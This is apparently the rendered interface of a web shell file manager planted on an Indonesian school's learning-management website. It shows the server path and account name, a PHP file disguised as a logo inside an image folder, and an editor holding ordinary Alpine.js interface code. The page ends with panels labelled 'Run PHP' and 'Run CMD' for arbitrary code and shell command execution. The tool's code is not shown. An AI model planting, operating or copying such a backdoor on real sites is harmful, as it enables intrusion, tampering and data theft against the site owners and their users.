๐ File Manager
๐
/
/
home
/
u449181296
/
domains
/
birulogi.smakpbaleendah.sch.id
/
public_html
/
lms
/
tukang-ngatur
/
assets
/
img
/
qr-logos
/home/u449181296/domains/birulogi.smakpbaleendah.sch.id/public_html/lms/tukang-ngatur/assets/img/qr-logos
Upload
Name
Size
Date
CHMOD
Action
โ FILE โ
logo_1773801405.php
6.73 KB
2026-03-18 02:36
644
(rw-r--r--)
Edit
|
Rename
|
Preview
|
Del
Edit
import './bootstrap'; import Alpine from 'alpinejs'; import collapse from '@alpinejs/collapse'; import Swal from 'sweetalert2'; Alpine.plugin(collapse); window.Alpine = Alpine; Alpine.start(); // FUNGSI GLOBAL (Bisa dipanggil oleh onclick di HTML) window.toggleDarkMode = function() { const html = document.documentElement; const isDark = html.classList.toggle('dark'); // Simpan tema localStorage.setItem('theme', isDark ? 'dark' : 'light'); // PANGGIL FUNGSI INI SETIAP KALI KLIK updateIconsManually(isDark); }; // Fungsi ini akan memaksa ikon berubah function updateIconsManually(isDark) { const sun = document.getElementById('icon-sun'); const moon = document.getElementById('icon-moon'); if (isDark) { sun.classList.add('hidden'); // Sembunyikan matahari moon.classList.remove('hidden'); // Tampilkan bulan } else { sun.classList.remove('hidden'); // Tampilkan matahari moon.classList.add('hidden'); // Sembunyikan bulan } } // Jalankan ini saat pertama kali halaman dimuat document.addEventListener('DOMContentLoaded', () => { const isDark = document.documentElement.classList.contains('dark'); updateIconsManually(isDark); }); // TAMBAHKAN FUNGSI INI DI BAWAH ATAU DI DEKAT toggleDarkMode window.toggleSidebar = function() { const sidebar = document.getElementById('sidebar-container'); const overlay = document.getElementById('overlay'); // Periksa apakah elemen ada sebelum memanipulasinya if (sidebar && overlay) { sidebar.classList.toggle('-translate-x-full'); overlay.classList.toggle('hidden'); } }; // LOGOUT (Tetap sama) window.konfirmasiKeluarSesi = function() { const isDark = document.documentElement.classList.contains('dark'); Swal.fire({ title: '<span class="text-rose-600 font-black italic uppercase tracking-tighter">KELUAR ZONA?</span>', icon: 'warning', showCancelButton: true, confirmButtonColor: '#e11d48', background: isDark ? '#0f172a' : '#ffffff', color: isDark ? '#f1f5f9' : '#1e293b', // ... (sisanya sama seperti kode Anda) }).then((result) => { if (result.isConfirmed) { document.getElementById('form-logout-utama').submit(); } }); };
Save
๐งช PHP Preview
<?php echo 'hello'; ?>
Run PHP
๐ฅ Linux CMD
Run CMD